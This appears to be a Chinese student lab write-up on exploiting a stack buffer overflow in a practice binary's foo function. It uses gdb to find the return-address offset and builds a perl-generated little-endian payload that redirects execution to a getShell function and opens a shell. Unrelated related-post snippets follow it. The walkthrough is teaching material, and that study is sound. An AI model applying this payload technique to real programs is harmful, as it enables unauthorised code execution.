利用foo函数的Bof漏洞攻击:构造攻击字符串
利用foo函数的Bof漏洞攻击:构造攻击字符串
一、基础知识储备
objdump反汇编指令、gdb函数调试运行、Perl语言、|管道符
二、实验步骤
1. 通过反汇编了解程序功能及代码


①反汇编查看文件内容
②可以知道getShell函数地址为0804847d
③可知foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba,此地址为返回地址
我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。
2. 确定输入的哪几个字符会覆盖返回地址
2.1调试运行程序 gdb

通过输入gdb 20154305 指令调试程序,再输入r运行程序
2.2 输入一串字符大致确定覆盖位置

④程序运行后我们输入字符串111111112222222233333333444444445555555566666666
⑤程序出现分段错误,0x35353535 in ?? (),意思是这个地址的指令错误
此时我们通过info r查看寄存器信息
⑥显示出eip指令寄存器存储的地址为0x35353535,此ASCII值代表5555
⑦也可以通过info r eip指令直接显示指令寄存器存储的地址。
5555则可以知道我们输入的字符串从55555555开始溢出,但是还不确定是哪四个5
2.3 进一步确定覆盖位置
继续调试运行20154305文件

⑧输入字符串`1111111122222222333333334444444412345678'产生溢出错误
⑨查看指令寄存器eip内的值为0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值
所以接下来我们需要修改1234的值为0804847d进行覆盖
3. 构造输入字符串
3.1 确定字符串输入顺序
就是需要输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08
由⑨可以知道小字节优先,应该输入11111111222222223333333344444444\x7d\x84\x04\x08
3.2 构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。
键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

\x0a表示回车。
可以通过xxd查看文件十六进制格式的内容。
3.3 然后将input的输入,通过管道符“|”,作为20154305的输入,覆盖返回地址
(cat input; cat) | ./20154305

此时我们就可以输入Shell指令了
箭头11的ls就是Shell指令。
到此通过利用foo的Bof漏洞攻击已经完成。
三、实验总结
利用缓冲区溢出的漏洞攻击比较难的地方是如何确定输入的哪些字符串会覆盖返回地址,以及如何通过管道输入,有些新的知识需要我这个小白消化理解。
利用foo函数的Bof漏洞攻击:构造攻击字符串的更多相关文章
- DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞
织梦dedecms,在整个互联网中许多企业网站,个人网站,优化网站都在使用dede作为整个网站的开发架构,dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问,首页以及栏目 ...
- 学习xss模拟构造攻击(第一篇)
本文作者:i春秋签约作家——rosectow 0×00前言 XSS又名叫CSS全程(cross site scriptting),中文名跨站脚本攻击,目前网站的常见漏洞之一,它的危害没有像上传漏洞,s ...
- PHP ‘asn1_time_to_time_t’函数内存损坏漏洞
漏洞名称: PHP ‘asn1_time_to_time_t’函数内存损坏漏洞 CNNVD编号: CNNVD-201312-348 发布时间: 2013-12-18 更新时间: 2013-12-18 ...
- Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞
漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞
漏洞名称: Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞 CNNVD编号: CNNVD-201311-422 发布时间: 2013-11-29 更新时间: 2013- ...
- Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞
漏洞名称: Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞 CNNVD编号: CNNVD-201311-421 发布时间: 2013-11-29 更新时间: 2013 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
- Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...
随机推荐
- composer在phpstorm中安装代码库
E:\php\PHPTutorial\WWW\kmmhtt>composer install composer 安装地址 :https://getcomposer.org/download/
- delete content on the right of cursor, Mac
delete content on the right of cursor, Mac It's not convenient to press Fn+delete to delete content ...
- Calendar打印日历
package com.example.demo; import org.junit.Test; import org.junit.runner.RunWith; import org.springf ...
- python3 互译无线短信接口
#!/usr/local/bin/python#-*- coding:utf-8 -*-import http.clientimport urllibimport random host = &quo ...
- 转载:Opencv调整运行窗口图片的大小
本文来自:http://blog.csdn.net/cumtml/article/details/52807961 Opencv在运算时显示图片问题 总结在opencv中,图片显示的问题.简要解决图片 ...
- 与引导文件系统/vmfs/devices..的备用设备之间的连接已丢失,主机配置更改将不会保存到持久存储中
Cisco UCS 刀片服务器与NETAPP存储 1.异常问题描述: 2.可能原因:存储链路异常 比如断电恢复.光纤线本身的问题.模块的问题.环境温度的问题.bug之类的都有可能 3.处理: ...
- java List<Map<String,Object>
xml <select id="selectShopList" resultType="java.util.HashMap"> SELECT p.P ...
- CentOS7下安装Gitlab社区版【安装步骤、IP改域名、修改端口】
这两天一直在给公司的服务器配置Gitlab(10.5.4).过程很是痛苦,所以把过程记录一下. 1.安装CentOS7 从官网上下载了最新版CentOS-7-x86_64-DVD-1708.iso.用 ...
- java学习笔记(四):import语法
Import 语法是给编译器寻找特定类的适当位置的一种方法. 创建一个Employee 类,包括四个实体变量姓名(name),年龄(age),职位(designation)和薪水(salary). p ...
- sqlserver truncate清空表时候,无法删除 'B表',因为该表正由一个 FOREIGN KEY 约束引用。
外键: 查询:select object_name(a.parent_object_id) 'tables' from sys.foreign_keys a where a.referenced_ ...